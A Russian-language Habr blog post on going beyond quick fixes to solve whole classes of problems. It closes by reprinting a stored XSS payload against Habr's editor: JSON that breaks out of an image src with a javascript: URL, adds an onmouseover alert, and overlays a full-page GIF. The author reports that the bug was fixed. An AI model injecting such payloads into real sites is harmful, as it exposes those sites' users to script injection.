Как стать автором
Обновить

Чем хороший программист отличается от плохого, или почему нужно выходить за рамки

Время на прочтение2 мин
Количество просмотров65K

Это будет моя самая короткая статья.

Когда-то я был молод и зелен и решал проблемы именно так, как их решают джуны. Алгоритм такой:

  1. Узнать о проблеме

  2. Локализовать проблему

  3. Загуглить проблему и решение

  4. Пофиксить проблему

Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открывал файл, редактировал проблемную строчку, закрывал файл. Проблема решена.

Или другой пример: не отработал скрипт из-за ошибки в коде. Чиню ошибку, скрипт начинает работать.

Прошло 10 лет... Алгоритм претерпел изменения:

  1. Узнать о проблеме

  2. Локализовать проблему

  3. Загуглить проблему и посмотреть много решений

  4. Понять, почему это произошло

  5. Понять, что нужно сделать, чтобы это не произошло снова

  6. Понять, что ещё затронуто проблемой

  7. Понять, где ещё потенциально могут возникнуть похожие проблемы

  8. Пофиксить проблему

  9. В зависимости от количества необходимых усилий, пофиксить всё сопутствующее

  10. Рассказать пацанам в слаке про свой фейл (== поделиться опытом)

Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открываю файл, разбираюсь, как проблемная строчка попала в него, пытаюсь сделать, чтобы она туда больше не попадала, ищу такие же ошибочные строчки в файле, ищу другие потенциальные ошибки, чиню файл сам или заворачиваю на доработку. Проблема решена - либо полностью, либо частично, но с полным осознанием это факта.

Или другой пример: не отработал скрипт из-за ошибки в коде. Разбираюсь, кто написал скрипт, почему писал ручками вместо того, чтобы вызвать какую-то команду для настройки и деплоя, где ещё подобные ошибки могут быть (и в этом проекте, и в проектах других клиентов), чиню и делаю всё возможное, чтобы это не произошло опять.

К чему всё это

Пожалуйста, не решайте конкретную проблему. Это никогда не работает. Оно сломается снова.

Решайте класс проблем. Выходите за рамки проблемы, ищите похожие, ищите связанные. Будьте ответственными и любопытными.

Иначе я так и буду находить XSS в тех же местах, о которых писал ранее.

Пейлоад тот же, что и в прошлой статье:

{
	"type": "persona",
	"attrs": {
		"inserted": false
	},
	"content": [
		{
			"type": "persona_image",
			"attrs": {
				"src": "javascript:\"></a>
                <div/onmouseover=alert('xss')>
                    <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://c.tenor.com/GjsMO1r7HGMAAAAC/hyenas-lion-king.gif');background-position:center;background-repeat:no-repeat;background-size:cover;\">
                         &nbsp;
                    </div>
                </div>
                <!--<a",
				"class": "image image-persona"
			}
		},
		{
			"type": "persona_heading",
			"content": [
				{
					"type": "text",
					"text": "<-- Нажимайте сюда"
				}
			]
		},
		{
			"type": "paragraph",
			"attrs": {
				"align": null,
				"simple": false,
				"persona": false
			}
		}
	]
}

UPD. Разрабы Хабра после выхода статьи быстро пофиксили баг. По их словам, вопрос с валидацией в работе. Я не предупреждал о статье, но меня не забанили и отнеслись ко всему позитивно - за это респект.


Заходите в мою телегу: Блог погромиста. Это просто ссылка, не XSS :)

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Запилите нормальный редактор
71.23% Запилите нормальный редактор354
67.61% Запилите нормальный редактор336
64.79% Запилите нормальный редактор322
Проголосовали 497 пользователей. Воздержались 195 пользователей.
Теги:
Хабы:
Всего голосов 57: ↑48 и ↓9+56
Комментарии42

Публикации

Истории

Работа

Ближайшие события

27 августа – 7 октября
Премия digital-кейсов «Проксима»
МоскваОнлайн
20 – 22 сентября
BCI Hack Moscow
Москва
24 сентября
Конференция Fin.Bot 2024
МоскваОнлайн
24 сентября
Astra DevConf 2024
МоскваОнлайн
25 сентября
Конференция Yandex Scale 2024
МоскваОнлайн
28 – 29 сентября
Конференция E-CODE
МоскваОнлайн
28 сентября – 5 октября
О! Хакатон
Онлайн
30 сентября – 1 октября
Конференция фронтенд-разработчиков FrontendConf 2024
МоскваОнлайн
3 – 18 октября
Kokoc Hackathon 2024
Онлайн
7 – 8 ноября
Конференция byteoilgas_conf 2024
МоскваОнлайн